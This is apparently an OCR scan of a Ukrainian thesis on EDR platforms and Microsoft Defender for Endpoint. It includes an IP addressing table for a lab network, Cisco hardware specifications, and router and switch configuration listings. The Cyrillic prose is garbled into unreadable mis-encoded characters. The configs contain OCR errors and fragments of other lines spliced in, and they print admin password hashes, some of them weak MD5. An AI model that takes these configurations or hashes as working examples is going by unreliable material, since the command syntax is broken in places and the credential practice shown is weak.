EDR nnatdopmax. ¥V oMy KOHTEKCTI Bu3HaueHo posib EDR y cydacHux cucremax
Oe3rekn Ta MPOBEICHO MOPIBHAJIBHUNA aHaNi3 MOMYJSIPHUX pIlleHb, BKIIOYAIOUU
netanbHuil orysin Microsoft Defender for Endpoint. Takox po3risiHyTo TE€HIAEHIT

po3Butky EDR TexHoori, mo niakpeciroe iXHe 3HaUeHHS Yy 3a0€3MeUeHHI O0e3MeKH.
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Hpyruii po3ain OyB MPHUCBSYEHUN MPOEKTYBAHHIO MEpEXl 13 BUKOPUCTAHHSIM
EDR mnardgopm. IlpoBeneHo rutaHyBaHHS 1 PO3pOOKY 3arajibHOi apXITEKTypH
JOKaJIbHOT KOMM'IOTEPHOT MEpeki, BKIIouYaiouu po3pobOky cxemu I[P-ampecarii Ta
MapuIpyTu3aiii Mk HTpUCTposiMU. Po3poOiieHO momiTHKY O€3MeKku i KiHIIEBUX
MPUCTPOIB Ta BUOpPAHO 00JIaIHaHHS, 30KpEMa MapIIPyTU3aTOPIB Ta KOMYTATOPIB, IO
3a0e3neuyoTh ePeKTUBHY POoOOTY Mepexi Ta iHTerpariito 3 EDR pimennasamu.

Tpetiil po3aUT OXOIUTIOE MPAKTUYHI aCTEeKTH BIPOBAPKCHHS Ta HaJallITyBaHHS
EDR mmargopm mis 3axucTy KiHIEBUX By3miB. [IpoBeneHO HamaromkeHHs
MepeXeBOro o0s1aJiHaHHs Ta BCTaHOBIIeHH Active Directory Ha 6a31 Windows Server
2019 nnsa neHTpazi30BaHOTO KEPYBaHHS KOPUCTYyBayaMu Ta pecypcamu. HanmamroBaHo
Microsoft Defender for Endpoint, mo 3a0e3neumsio 3aXMCT KIHIEBUX TOYOK BiJ
kibep3arpo3. byno mpoBeseHO BUABICHHS Ta aHalli3 peajbHUX 3arpo3, MOHITOPHHT
AKTHUBHOCTI Y MEPEKI1 Ta pearyBaHHs Ha 1HIUJEHTU Oe3neKku. BpoBakeH1 MO TUKI
Oe3meKu AJsl KIHIEBUX MPHUCTPOIB TO3BONMIN €(PEKTUBHO YMHPABISATH PU3UKAMH Ta
3a0€3MeUYnTH BUCOKHI PIBEHb 3aXUCTY MEPEXKI.

TakuM YMHOM, y pe3ysbTaTi BUKOHAHHA KBajii(ikaliidiHoi poOoTH OyJo
JOCSITHYTO KOMIUJIEKCHOTO 3aXMCTy KIHIIEBUX BY3J1B 3a J0MOMOror cydacHux EDR
wiatdopM, mo 3ade3nedye cTabiuIpbHy Ta Oe3leyHy poOOTy opraHizailii B yMoOBax
cydyacHUX KiOep3arpo3. PeanizoBaHi pillleHHS [103BOJISIOTh €(PEKTUBHO BUSBIISITH,
aHaTI3yBaTH Ta pearyBaTy Ha 3arpo3u, IO € KIOUYOBUM (PaKTOpOM Jyisl 3a0e3MeueHHs

K10epOe3neKku B CydyacHUX 1HGOPMALIIITHUX CUCTEMAX.
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Anpecanisi Mmepeski

Ta6mung b.1 - Ilapamerpu IP-anpecarii mepexi

JNOJATOK B

'I\_I/ISV?:T);?V/I IHTepdeic/LLnto3 IP-agpeca Macka Mpedikc
Mepexa
INTERNET - 192.168.1.0 255.255.255.252 /30
Ethernet
Internet 192.168.1.1 255.255.255.252 /30
R-MAIN Ethernet3/0 192.168.1.2 255.255.255.252 /30
Mepexxa HACKER - 192.168.2.0 255.255.255.248 /29
R-MAIN Ethernet3/1 192.168.2.1 255.255.255.248 /29
WS-Hacker Ethernet1/0 192.168.2.2 255.255.255.248 /29
Meperka A - 202.9.1.0 255.255.255.128 /25
R-1 Ethernet1/0 202.9.1.1 255.255.255.128 /25
Vlan 1 202.9.1.2 255.255.255.128 /25
SW-1 LWnto3 3a 3amoBy. 202.9.1.1 - -
OcHos. DNS-cepsep 202.9.1.3 - -
MepexHui aganTep 202.9.1.3 255.255.255.128 /25
MAIN-AD-SRV LWnto3 3a 3amoBy. 202.9.1.1 - -
MepexHui aganTep 202.9.1.4 255.255.255.128 /25
RESERV-AD-SRV LWnto3 3a 3amoBy. 202.9.1.1 - -
MepexHui aganTep 202.9.1.5 255.255.255.128 /25
WS-1-1 LWnto3 3a 3amoBy. 202.9.1.1 - -
OcHos. DNS-cepsep 202.9.1.3 - -
Meperka B - 202.9.2.0 255.255.255.128 /25
R-2 Ethernet3/0 202.9.2.1 255.255.255.128 /25
Vlan 1 202.9.2.2 255.255.255.128 /25
SW-2 LWnto3 3a 3amoBY. 202.9.2.1 - -
OcHos. DNS-cepsep 202.9.1.3 - -
MepeskHuit aganTep 202.9.2.3- 255.255.255.128 /25
6oui cTaHuji 202.9.2.10
Po H LWnto3 3a 3amoBY. 202.9.2.1 - -
OcHos. DNS-cepsep 202.9.1.3 - -
Meperka C - 202.9.3.0 255.255.255.128 /25
R-3 Ethernet3/0 202.9.3.1 255.255.255.128 /25
Vlan 1 202.9.3.2 255.255.255.128 /25
SW-3 LWnto3 3a 3amoBY. 202.9.3.1 - -
OcHoB.DNS-cepBep 202.9.1.3 - -
[Tponorxenus tadmnui b.1.
MepesHuiA aganTep 202.9.3.3- 255.255.255.128 /25
6oui cTaHuji 202.9.3.10
Po H LWnto3 3a 3amoBY. 202.9.3.1 - -
OcHos. DNS-cepsep 202.9.1.3 - -
Meperka D - 202.9.4.0 255.255.255.252 /30
R-MAIN FastEthernet0/0 202.9.4.1 255.255.255.252 /30
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R-1 FastEthernet0/0 202.9.4.2 255.255.255.252 /30
Mepesa E - 202.9.5.0 255.255.255.252 /30
R-MAIN FastEthernet1/0 202.9.5.1 255.255.255.252 /30
R-2 FastEthernet0/0 202.9.5.2 255.255.255.252 /30
Mepera F - 202.9.6.0 255.255.255.252 /30
R-MAIN FastEthernet1/1 202.9.6.1 255.255.255.252 /30
R-3 FastEthernet1/1 202.9.6.2 255.255.255.252 /30
Mepexa G - 202.9.7.0 255.255.255.252 /30
R-1 FastEthernet2/0 202.9.7.1 255.255.255.252 /30
R-2 FastEthernet2/0 202.9.7.2 255.255.255.252 /30
Mepexa H - 202.9.8.0 255.255.255.252 /30
R-1 FastEthernet0/1 202.9.8.1 255.255.255.252 /30
R-3 FastEthernet0/0 202.9.8.2 255.255.255.252 /30
MepeKa | - 202.9.9.0 255.255.255.252 /30
R-2 FastEthernet1/0 202.9.9.1 255.255.255.252 /30
R-3 FastEthernet1/0 202.9.9.2 255.255.255.252 /30
JIOJIATOK B
TexHi4YHI XapaKTepUCTUKH 00JIaJHAHHSA
Mapmpytuzarop Cisco 7206VXR
XapaKTepucTtuka 3HaYeHHsn
Mogenb Cisco 7206VXR
dopm-dakTop Modular chassis, 6 slots
Mpouecop NPE-G1, NPE-G2
OnepaTnBHa nam'atb (RAM) Oo1TB
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dnew-nam'atb

[lo 256 MB

IHTepdeicu

Fast Ethernet, Gigabit Ethernet, Serial, ATM, POS

Mogayni po3wmpeHHs

Network Processing Engine (NPE), I/O controllers

MponycKkHa 34aTHICTb

[0 2 MnH naKeTiB 3a CeKyHay

MepexeBi pyHKL,iT

QoS, MPLS, VPN, NAT, ACLs, Firewall, IDS/IPS

MpoTokoan mappyTusadii

RIP, OSPF, EIGRP, BGP, IS-IS

NigTpnmka VLAN

Tak (IEEE 802.1Q)

KusneHHsa AC, DC BapiaHTn
Po3mipu (BxLLUXT) 13.3x44.5x40.6 cm
Bara MpnbamnsHo 16 Kr

Temnepatypa ekcnayatauii

0°C o 40°C

Bonorictb ekcnayartauii

5% no 95% 6e3 KoHaeHcau,ii

MigTpumka OC

Cisco 10S Software

be3sneka

VPN, IPsec, SSL, ceptudikauia 802.1x

Komyrtarop Cisco WS-C2960-24LC-S

XapakTepucTuka

Onuc

Mogensb

Cisco WS-C2960-24LC-S

KinbKicTb nopTis

24 noptu (10/100 M6it/c)

MopTn SFP 2 noptn SFP (1000 M6it/c)
LLBnAKicTb nopTis ABTOMaTUYHE BU3HaYeHHA wemakocTi (10/100)
VLAN MiaTrpumka VLAN
QoS NiaTpumka QoS (Quality of Service)
PoE MNiaTpumka PoE (Power over Ethernet)

CraHpapTHa nam’atb 64 M6
TexHonoria nam'aTi DRAM
dnew-nam’aTb 32 M6

dopm-daKkTop

MoOHTa B CTiNKY

Po3mip

44.5x27.9x4.5cm

Bara

3.18 kr

MigTpnmKa cTaHaapTiB

IEEE 802.3, 802.3u, 802.3ab, 802.3af, 802.3x

LLBnAKicTb nepepavi AaHHMX

o 100 M6it/c Ha nopT

YnpasniHHA JloKkanbHe Ta BigAaneHe ynpas/iHHA
be3neka ACL, SSH, HTTPS, SNMPv3, IP Source Guard
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JTOJATOK I

JlictuHr KoH@irypauii npucTpois

R-1

!

!

I Last configuration change at 23:45:10 UTC
Mon Jun 3 2024

upgrade fpd auto

version 15.2

service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption

|

hostname R-1

!

boot-start-marker

boot-end-marker

!

!

I

no aaa new-model

no ip icmp rate-limit unreachable

!

!

I

no ip domain lookup

ip domain name lipetskyi.net

ip cef

no ipv6 cef

I

multilink bundle-name authenticated

!

!

I

!

username admin privilege 15 secret 5
$1$jkCD$3C9sEawmY9WgslyEtly12/
username user privilege 5 secret 5
$1$/4Qq$vWzLXTSRVn.w6ebrYZFD3V0
|

redundancy

!

I

ip tcp synwait-time 5
ip ssh version 2

!

|

!

!

interface FastEthernet0/0

ip address 202.9.4.2 255.255.255.252
duplex half

speed auto

|

interface FastEthernet0/1

ip address 202.9.8.1 255.255.255.252
duplex auto

speed auto

|

interface Ethernet1/0

ip address 202.9.1.1 255.255.255.128
duplex half

|

interface Ethernet1/1
no ip address
shutdown

duplex half

|

interface Ethernetl/2
no ip address
shutdown

duplex half

I

interface Ethernet1/3
no ip address
shutdown

duplex half

|

interface FastEthernet2/0

ip address 202.9.7.1 255.255.255.252
duplex half

I

router ospf 12

network 202.9.1.0 0.0.0.127 area 0
network 202.9.4.0 0.0.0.3 area 0
network 202.9.7.0 0.0.0.3 area 0
network 202.9.8.0 0.0.0.3 area 0

I

ip forward-protocol nd

no ip http server
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no ip http secure-server

|

!

!

no cdp log mismatch duplex
|

I

]

control-plane

|

!

!

mgcp profile default

I

!

!

gatekeeper

shutdown

I

!

line con 0

exec-timeout 0 0

privilege level 15

logging synchronous
stopbits 1

line aux 0

exec-timeout 0 0

privilege level 15

logging synchronous
stopbits 1

line vty 0 4

login local

transport input ssh

I

!

end

R-2

!

!

!

I Last configuration change at 23:13:42 UTC
Mon Jun 3 2024

I

upgrade fpd auto

version 15.0

service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
I

hostname R-2

boot-end-marker

]

I

no aaa new-model

!

!

!

ip source-route

no ip icmp rate-limit unreachable

ip cef

!

!

!

I

no ip domain lookup

ip domain name lipetskyi.net

no ipv6 cef

I

multilink bundle-name authenticated

!

!

!

username admin privilege 15 secret 5
$13dIBK$SfhzNW18KurNY3ROMSBSnl/
username user privilege 5 secret 5
$1$tCVWSSAX1KiyVKMgjLUcljy9aM1
!

redundancy

!

!

ip tcp synwait-time 5

ip ssh version 2

I

interface FastEthernet0/0

ip address 202.9.5.2 255.255.255.252
duplex half

|

!

interface FastEthernet1/0

ip address 202.9.9.1 255.255.255.252
duplex auto

speed auto

|

I

interface FastEthernet1/1

no ip address

! shutdown
boot-start-marker duplex auto
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speed auto

|

!

interface FastEthernet2/0
ip address 202.9.7.2 255.255.255.252
duplex half

|

!

interface Ethernet3/0
ip address 202.9.2.1 255.255.255.128
duplex half

|

!

interface Ethernet3/1
no ip address
shutdown

duplex half

|

!

interface Ethernet3/2
no ip address
shutdown

duplex half

|

!

interface Ethernet3/3
no ip address
shutdown

duplex half

|

]

interface Ethernet3/4
no ip address
shutdown

duplex half

|

]

interface Ethernet3/5
no ip address
shutdown

duplex half

|

]

interface Ethernet3/6
no ip address

duplex half

|

!

interface FastEthernet4/0

no ip address

shutdown

duplex auto

speed auto

I

]

interface FastEthernet4/1

no ip address

shutdown

duplex auto

speed auto

I

I

interface FastEthernet5/0

no ip address

shutdown

duplex half

I

I

router ospf 12
log-adjacency-changes
network 202.9.2.0 0.0.0.127 area 0
network 202.9.5.0 0.0.0.3 area 0
network 202.9.7.0 0.0.0.3 area 0
network 202.9.9.0 0.0.0.3 area 0
I

ip forward-protocol nd

no ip http server

no ip http secure-server

I

I

I

no cdp log mismatch duplex
I

I

I

control-plane

I

I

I

mgcp fax t38 ecm

shutdown mgcp behavior g729-variants static-pt

duplex half !

! !

! !

interface Ethernet3/7 gatekeeper

no ip address shutdown

shutdown !
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line con 0

exec-timeout 0 0

privilege level 15

logging synchronous

stopbits 1

line aux 0

exec-timeout 0 0

privilege level 15

logging synchronous

stopbits 1

line vty 0 4

login local

transport input ssh

|

end

R-3

!

!

I Last configuration change at 23:45:23 UTC
Mon Jun 3 2024

|

upgrade fpd auto

version 15.0

service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption

|

hostname R-3

!
boot-start-marker
boot-end-marker

!

!

no aaa new-model
!

!

!

ip source-route

no ip icmp rate-limit unreachable
ip cef

1

!

!

!

no ip domain lookup

ip domain name lipetskyi.net

no ipv6 cef

|

multilink bundle-name authenticated
|

|

I
!

username admin privilege 15 secret 5
$13y57Zx$qiVguQDgbwRO6sY0oDgoOel
username user privilege 5 secret 5
$1%$90..$Ux2r00g2leOrAZUBKH X080

I

redundancy

|

!

ip tcp synwait-time 5

ip ssh version 2

|

!

!

!

interface FastEthernet0/0

ip address 202.9.8.2 255.255.255.252
duplex half

|

!

interface FastEthernet1/0

ip address 202.9.9.2 255.255.255.252
duplex auto

speed auto

|

!

interface FastEthernetl/1

ip address 202.9.6.2 255.255.255.252
duplex auto

speed auto

|

]

interface FastEthernet2/0

no ip address

shutdown

duplex half

|

]

interface Ethernet3/0

ip address 202.9.3.1 255.255.255.128
duplex half

|

|

interface Ethernet3/1
no ip address
shutdown

duplex half

|

!

interface Ethernet3/2
no ip address
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shutdown
duplex half
|

!
interface Ethernet3/3
no ip address

shutdown
duplex half
|

!
interface Ethernet3/4
no ip address

shutdown
duplex half
|

!
interface Ethernet3/5
no ip address

shutdown
duplex half
|

!
interface Ethernet3/6
no ip address

shutdown
duplex half
|

!
interface Ethernet3/7
no ip address

shutdown

duplex half

I

!

interface FastEthernet4/0
no ip address

shutdown

duplex auto

speed auto

I

I

interface FastEthernet4/1
no ip address

shutdown

duplex auto

speed auto

I

I

interface FastEthernet5/0
no ip address

|

!

router ospf 12
log-adjacency-changes

network 202.9.3.0 0.0.0.127 area 0
network 202.9.6.0 0.0.0.3 area 0
network 202.9.8.0 0.0.0.3 area 0
network 202.9.9.0 0.0.0.3 area 0
|

ip forward-protocol nd

no ip http server

no ip http secure-server

|

!

!

no cdp log mismatch duplex

|

]

]

control-plane

|

!

!

mgcp fax t38 ecm

mgcp behavior g729-variants static-pt
|

!

!

gatekeeper

shutdown

|

!

line con 0

exec-timeout 0 0

privilege level 15

logging synchronous

stopbits 1

line aux 0

exec-timeout 0 0

privilege level 15

logging synchronous

stopbits 1

linevty 0 4

login local

transport input ssh

|

end

R-MAIN

|

shutdown I

duplex half
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I Last configuration change at 23:10:27 UTC
Mon Jun 3 2024

|

upgrade fpd auto

version 15.0

service timestamps debug datetime msec
service timestamps log datetime msec

no service password-encryption

|

hostname R-MAIN
!

boot-start-marker
boot-end-marker

!

!

no aaa hew-model
!

!

1

Ip source-route

no ip icmp rate-limit unreachable
ip cef

|

!

!

!

no ip domain lookup

ip domain name lipetskyi.net

no ipv6 cef

|

multilink bundle-name authenticated

|

]

]

]

username admin privilege 15 secret 5
$1$7r..$hSalPkduoVVOhnzIWX2Q2B/
username user privilege 5 secret 5
$1%al OE$z/c2fbFh/iPEF/gOIIbFi.

|

redundancy

|

]

ip tcp synwait-time 5

ip ssh version 2

|

]

]

]

interface FastEthernet0/0

ip address 202.9.4.1 255.255.255.252
duplex half

|

!

interface FastEthernet1/0

ip address 202.9.5.1 255.255.255.252
duplex auto

speed auto

|

!

interface FastEthernetl/1

ip address 202.9.6.1 255.255.255.252
duplex auto

speed auto

|

!

interface FastEthernet2/0

no ip address

shutdown

duplex half

|

|

interface Ethernet3/0
ip address 192.168.1.2 255.255.255.252
duplex half

|

!

interface Ethernet3/1
ip address 192.168.2.1 255.255.255.248
duplex half

|

!

interface Ethernet3/2
no ip address
shutdown

duplex half

|

I

interface Ethernet3/3
no ip address
shutdown

duplex half

|

I

interface Ethernet3/4
no ip address
shutdown

duplex half

|

I

interface Ethernet3/5
no ip address

shutdown
duplex half

Jlineyvruii I1.0.

Tonosus O.C.

3mn.

Iionuc

Apx. Ne doxym. Jlama

KKIKB.KP.b - 125 - 11 - I13

Apk.

84




!

!

interface Ethernet3/6
no ip address
shutdown

duplex half

I

!
interface Ethernet3/7
no ip address

shutdown

duplex half

|

!

interface FastEthernet4/0
no ip address

shutdown

duplex auto

speed auto

|

]

interface FastEthernet4/1
no ip address

shutdown

duplex auto

speed auto

|

]

interface FastEthernet5/0
no ip address

shutdown

duplex half

|

!
router ospf 12
log-adjacency-changes

network 192.168.1.0 0.0.0.3 area 0
network 192.168.2.0 0.0.0.7 area 0

network 202.9.4.0 0.0.0.3 area 0
network 202.9.5.0 0.0.0.3 area 0
network 202.9.6.0 0.0.0.3 area 0

ip forward-protocol nd
no ip http server

no ip http secure-server
I

I

I

no cdp log mismatch duplex

control-plane

|

!

!

mgcp fax t38 ecm
mgcp behavior g729-variants static-pt
|

]

]

gatekeeper
shutdown

|

]

line con 0
exec-timeout 0 0
privilege level 15
logging synchronous
stopbits 1

line aux 0
exec-timeout 0 0
privilege level 15
logging synchronous
stopbits 1

linevty 04

login local

transport input ssh

|

end

SW-1

I Last configuration change at 20:15:23 UTC
Mon Jun 3 2024

|

version 15.1

service timestamps debug datetime msec
service timestamps log datetime msec

no service password-encryption

service compress-config

|

hostname SW-1

I

boot-start-marker

boot-end-marker

!

!

logging discriminator EXCESS severity drops
6 msg-body drops EXCESSCOLL
logging buffered 50000

logging console discriminator EXCESS
]
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username admin privilege 15 secret 4
DDt5vh6NUtd23.gjM.KsFotnEci/rEZ5aDSd

QWY XHp.
username user privilege 5 secret 4
Kh/OpXFN5SZXytSFPyTKrk2HJz7Pvt93m
YLjL5z/ISg

no aaa new-model

no ip icmp rate-limit unreachable
!

ip cef

I

!

no ip domain-lookup

ip domain-name lipetskyi.net

ip name-server 202.9.12.1

ip name-server 202.9.1.1

no ipv6 cef
ipv6 multicast rpf use-bgp
|

!

!

spanning-tree mode pvst
spanning-tree extend system-id
!

!

!

!

vlan internal allocation policy ascending
!

ip tcp synwait-time 5
ip ssh version 2

I

!

!

!

!

interface Ethernet0/0
duplex auto

!

interface Ethernet0/1
duplex auto

I

interface Ethernet0/2
duplex auto

!

interface Ethernet0/3
duplex auto

!

interface Ethernet1/0
duplex auto

|

interface Ethernetl/1

duplex auto

!

interface Ethernetl/2
duplex auto

I

interface Ethernetl/3
duplex auto

!

interface Ethernet2/0
duplex auto

!

interface Ethernet2/1
duplex auto

!

interface Ethernet2/2
duplex auto

!

interface Ethernet2/3
duplex auto

I

interface Ethernet3/0
duplex auto

!

interface Ethernet3/1
duplex auto

I

interface Ethernet3/2
duplex auto

I

interface Ethernet3/3

duplex auto

!

interface Vlanl

ip address 202.9.1.2 255.255.255.128
|

in default-gateway 202.9.1.1
|

no ip http server
|

ip route 0.0.0.0 0.0.0.0 202.9.1.1
!

I

!

!

control-plane

!

!

line con 0
exec-timeout 0 0
privilege level 15

logging synchronous
line aux 0
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exec-timeout 0 0
privilege level 15
logging synchronous
line vty 0 4

login local

transport input ssh

I

end

SW-2

I Last configuration change at 20:43:21 UTC
Mon Jun 3 2024

|

version 15.1

service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption

service compress-config

|

hostname SW-2

!

boot-start-marker

boot-end-marker

!

!

logging discriminator EXCESS severity drops
6 msg-body drops EXCESSCOLL
logging buffered 50000

logging console discriminator EXCESS
I

username admin privilege 15 secret 4
DDt5vb6NUtd23.gjM.KsFotnEci/rEZ5aDSd

QWY XHp.
username user privilege 5 secret 4
kh/OpXFN5SZXytSFPY TKrk2HJz7Pvt93m
YLjL5z/ISg

no aaa new-model

no ip icmp rate-limit unreachable
I

ip cef

!

!

no ip domain-lookup

ip domain-name lipetskyi.net

ip name-server 202.9.1.1

no ipv6 cef
ipv6 multicast rpf use-bgp
!

spanning-tree mode pvst
spanning-tree extend system-id
!

!

!

!

vlan internal allocation policy ascending
!

ip tcp synwait-time 5
ip ssh version 2

!

!

!

!

!

interface Ethernet0/0
duplex auto

!

interface Ethernet0/1
duplex auto

!

interface Ethernet0/2
duplex auto

!

interface Ethernet0/3
duplex auto

!

interface Ethernet1/0
duplex auto

!

interface Ethernet1/1
duplex auto

!

interface Ethernet1/2
duplex auto

I

interface Ethernet1/3
duplex auto

I

interface Ethernet2/0
duplex auto

I

interface Ethernet2/1
duplex auto

!

interface Ethernet2/2
duplex auto

I

interface Ethernet2/3
duplex auto

|

interface Ethernet3/0
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duplex auto

!

interface Ethernet3/1
duplex auto

]

interface Ethernet3/2
duplex auto

!

interface Ethernet3/3
duplex auto

!

interface Vlanl

ip address 202.9.2.2 255.255.255.128
|

ip default-gateway 202.9.2.1
I

no ip http server
I

ip route 0.0.0.0 0.0.0.0 202.9.2.1
|

1

]

1

control-plane

|

!

line con 0
exec-timeout 0 0
privilege level 15
logging synchronous
line aux 0
exec-timeout 0 0
privilege level 15
logging synchronous
line vty 0 4

login local

transport input ssh

|

end

SW-3

I Last configuration change at 20:43:00 UTC
Mon Jun 3 2024

I

version 15.1

service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption

service compress-config

|

hostname SW-3

boot-start-marker
boot-end-marker
!

I

logging discriminator EXCESS severity drops

6 msg-body drops EXCESSCOLL
logging buffered 50000

logging console discriminator EXCESS
|

username admin privilege 15 secret 4
DDt5vb6NUtd23.gjM.KsFotnEci/rEZ5aDSd

QWY XHp.

username user privilege 5

secret

4

kh/OpXFN5SZXytSFPYTKrk2HJz7Pvt93m

YLjL5z/ISg

no aaa new-model

no ip icmp rate-limit unreachable
!

ip cef

!

!

no ip domain-lookup

ip domain-name lipetskyi.net
ip name-server 202.9.1.1

no ipv6 cef

ipv6 multicast rpf use-bgp

I

!

!

!

spanning-tree mode pvst
spanning-tree extend system-id
!

!

!

!

vlan internal allocation policy ascending
!

ip tcp synwait-time 5

ip ssh version 2

!

!

!

!

!

interface Ethernet0/0

duplex auto

I

interface Ethernet0/1

duplex auto
!
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interface Ethernet0/2
duplex auto

!

interface Ethernet0/3

duplex auto
|

interface Ethernet1/0
duplex auto

!

interface Ethernetl/1

duplex auto
|

interface Ethernetl/2

duplex auto
|

interface Ethernetl/3

duplex auto
I

interface Ethernet2/0

duplex auto
|

interface Ethernet2/1

duplex auto
I

interface Ethernet2/2

duplex auto
|

interface Ethernet2/3

duplex auto
I

interface Ethernet3/0

duplex auto
|

interface Ethernet3/1

duplex auto
I

interface Ethernet3/2

duplex auto
|

interface Ethernet3/3

duplex auto
I

interface Vlanl
ip address 202.9.3.2 255.255.255.128
|

ip default-gateway 202.9.3.1
I
no ip http server

!
ip route 0.0.0.0 0.0.0.0 202.9.3.1
I

control-plane

|

!

line con O
exec-timeout 0 0
privilege level 15
logging synchronous
line aux 0
exec-timeout 0 0
privilege level 15
logging synchronous
linevty 0 4

login local

transport input ssh

I

end
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